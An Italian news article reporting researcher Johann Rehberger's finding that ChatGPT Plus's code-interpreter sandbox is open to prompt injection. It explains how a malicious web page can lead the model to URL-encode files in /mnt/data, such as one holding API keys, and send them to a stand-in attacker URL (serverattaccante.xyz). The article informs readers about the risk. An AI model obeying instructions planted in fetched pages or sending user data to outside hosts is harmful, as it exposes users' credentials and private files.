Prompt injection: cos'è e perché ChatGPT è vulnerabile

L'interprete di codice integrato in ChatGPT Plus potrebbe esporre dati personali degli utenti conservati nella sandbox creata all'avvio della sessione di lavoro. Cos'è e come funziona l'attacco di prompt injection, con la conseguente data exfiltration.

Con l’espressione prompt injection si fa riferimento a una forma di attacco informatico che sfrutta le capacità di un sistema di elaborazione del linguaggio naturale (NLP, Natural Language Processing) al fine di inserire comandi o istruzioni non autorizzati all’interno dei dati di input.

Secondo Johann Rehberger, ricercatore esperto di problematiche legate alla sicurezza, ChatGPT Plus sarebbe esposto a fenomeni di prompt injection e data exfiltration. In altre parole, un utente malintenzionato può inoculare un prompt intenzionalmente progettato per ottenere risposte che mettono a rischio i dati personali e le informazioni riservate di altri soggetti.

ChatGPT sfrutta l’intelligenza artificiale e i modelli generativi di OpenAI per scrivere codice di programmazione funzionante. Il codice così generato è eseguito sul cloud, sui server OpenAI, all’interno di un ambiente protetto (sandbox).

La sandbox di ChatGPT Plus è esposta ad attacchi di prompt injection

Come ha spiegato Rehberger, l’ambiente sandboxed su cui poggia il suo funzionamento ChatGPT, è di fatto vulnerabile ad attacchi di prompt injection e data exfiltration. Quest’ultima espressione sta a significare che un utente malevolo può acquisire dati riferibili a soggetti altrui, come credenziali di accesso, token autorizzativi ed altre informazioni che dovrebbero rimanere segrete.

ChatGPT Plus consente il caricamento di qualunque tipo di file: basta cliccare sull’icona che raffigura una piccola graffetta. Per ogni sessione di chat, il chatbot crea una nuova macchina virtuale Ubuntu Linux con una directory home chiamata /home/sandbox. I file personali dell’utente sono invece memorizzati nella cartella /mnt/data.

Sebbene ChatGPT Plus non offra una finestra del terminale vera e propria, è possibile specificare come prompt il solo comando ls /mnt/data per ottenere la lista dei file presenti nella cartella dell’utente.

Il nocciolo della questione è che incollando l’URL di una pagina Web contenente istruzioni “ad hoc”, un aggressore può estrarre i dati personali dell’utente dalla cartella /mnt/data e riceverli con una semplice richiesta trasmessa tramite URL.

Come funziona l’attacco di prompt injection tramite una pagina Web

Un esempio concreto? Si supponga di aver passato a ChatGPT Plus un file env_vars.txt contenente chiavi API e password. L’attaccante potrebbe predisporre una pagina Web malevola contenente istruzioni volte a convertire i dati dei file presenti nella cartella/mnt/data, compreso quindi anche env_vars.txt, in un formato URL-encoded per richiederne l’invio automatico verso un server controllato dallo stesso aggressore.

Semplicemente incollando l’URL del sito malevolo nella finestra di ChatGPT e premendo Invio, il chatbot potrebbe trovare e interpretare le istruzioni contenute nella pagina quindi condividere i dati personali dell’utente conservati nella sandbox. L’invio non autorizzato delle informazioni avviene facendo collegare ChatGPT a un URL del tipo //serverattaccante.xyz/data.php?data=[DATI_URL_ENCODED].

L’attacco potrebbe iniziare anche da pagine Web legittime, sfruttando plugin “fallati” o abusando dei sistemi di commenti.

Ti consigliamo anche

Link copiato negli appunti